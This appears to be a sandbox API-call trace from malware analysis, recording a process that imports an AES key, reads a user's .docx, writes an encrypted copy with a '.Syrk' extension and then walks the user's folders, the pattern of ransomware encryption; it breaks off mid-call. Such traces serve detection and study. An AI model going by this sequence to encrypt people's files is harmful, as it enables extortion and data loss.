(in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0225.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0225.226] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0225.226] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0225.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0225.226] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0225.226] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0225.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0225.226] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0225.227] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0225.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0225.227] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0225.227] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0225.228] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.228] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0225.228] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0225.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0225.228] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.228] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0225.228] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0225.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0225.228] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0225.229] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0225.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0225.229] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0225.229] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0225.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0225.229] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0225.229] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0225.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0225.230] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0225.230] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0225.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0225.230] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0225.230] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0225.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0225.230] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0225.230] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0225.231] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.231] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0225.231] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0225.231] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0225.231] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.232] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0225.232] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0225.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0225.232] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.232] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0225.232] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0225.232] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0225.232] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.234] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0225.234] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.234] EtwEventActivityIdControl () returned 0x0 [0225.234] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0225.234] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.234] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0225.234] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0225.236] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0225.238] CryptImportKey (in: hProv=0x5c4d188, pbData=0x2468eb0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996a0) returned 1 [0225.238] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.239] EtwEventActivityIdControl () returned 0x0 [0225.239] EtwEventActivityIdControl () returned 0x0 [0225.239] EtwEventActivityIdControl () returned 0x0 [0225.245] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0225.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0225.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.247] EtwEventActivityIdControl () returned 0x0 [0225.247] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.248] EtwEventActivityIdControl () returned 0x0 [0225.248] EtwEventActivityIdControl () returned 0x0 [0225.248] EtwEventActivityIdControl () returned 0x0 [0225.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0225.249] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0225.249] GetFileType (hFile=0x454) returned 0x1 [0225.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0225.250] GetFileType (hFile=0x454) returned 0x1 [0225.250] EtwEventActivityIdControl () returned 0x0 [0225.250] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.250] EtwEventActivityIdControl () returned 0x0 [0225.250] EtwEventActivityIdControl () returned 0x0 [0225.250] EtwEventActivityIdControl () returned 0x0 [0225.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0225.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", lpFilePart=0x0) returned 0x30 [0225.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0225.336] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0225.338] GetFileType (hFile=0x458) returned 0x1 [0225.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0225.338] GetFileType (hFile=0x458) returned 0x1 [0225.339] EtwEventActivityIdControl () returned 0x0 [0225.339] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x2478fa0 | out: pbBuffer=0x2478fa0) returned 1 [0225.341] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.341] CryptDuplicateKey (in: hKey=0x5c996a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99720) returned 1 [0225.341] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.341] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x4, pbData=0x247a2d8*=0x1, dwFlags=0x0) returned 1 [0225.341] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x1, pbData=0x247a2a4, dwFlags=0x0) returned 1 [0225.342] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.342] EtwEventActivityIdControl () returned 0x0 [0225.342] EtwEventActivityIdControl () returned 0x0 [0225.342] EtwEventActivityIdControl () returned 0x0 [0225.347] EtwEventActivityIdControl () returned 0x0 [0225.347] ReadFile (in: hFile=0x454, lpBuffer=0x247cf14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x247cf14*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0225.349] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2490f2c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x2490f2c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0225.351] WriteFile (in: hFile=0x458, lpBuffer=0x2479088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2479088*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0225.352] WriteFile (in: hFile=0x458, lpBuffer=0x2491f18*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2491f18*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0225.354] ReadFile (in: hFile=0x454, lpBuffer=0x247cf14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x247cf14*, lpNumberOfBytesRead=0x5a2e7d8*=0x1d1b, lpOverlapped=0x0) returned 1 [0225.354] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a4f44*, pdwDataLen=0x5a2e7cc*=0x1d10, dwBufLen=0x1d10 | out: pbData=0x24a4f44*, pdwDataLen=0x5a2e7cc*=0x1d10) returned 1 [0225.354] WriteFile (in: hFile=0x458, lpBuffer=0x24a4f44*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a4f44*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1d10, lpOverlapped=0x0) returned 1 [0225.355] ReadFile (in: hFile=0x454, lpBuffer=0x247cf14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x247cf14*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0225.355] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a6c60*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24a6c60*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0225.355] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a6c7c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24a6c7c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0225.355] WriteFile (in: hFile=0x458, lpBuffer=0x2479088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2479088*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0225.355] CloseHandle (hObject=0x458) returned 1 [0225.358] CloseHandle (hObject=0x454) returned 1 [0225.358] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.359] EtwEventActivityIdControl () returned 0x0 [0225.359] EtwEventActivityIdControl () returned 0x0 [0225.359] EtwEventActivityIdControl () returned 0x0 [0225.365] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0225.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.368] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0225.368] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0225.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0225.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0225.368] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0225.368] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0225.368] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0225.369] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0225.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0225.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0225.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0225.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0225.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0225.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0225.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0225.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0225.369] GetFileAttributesW 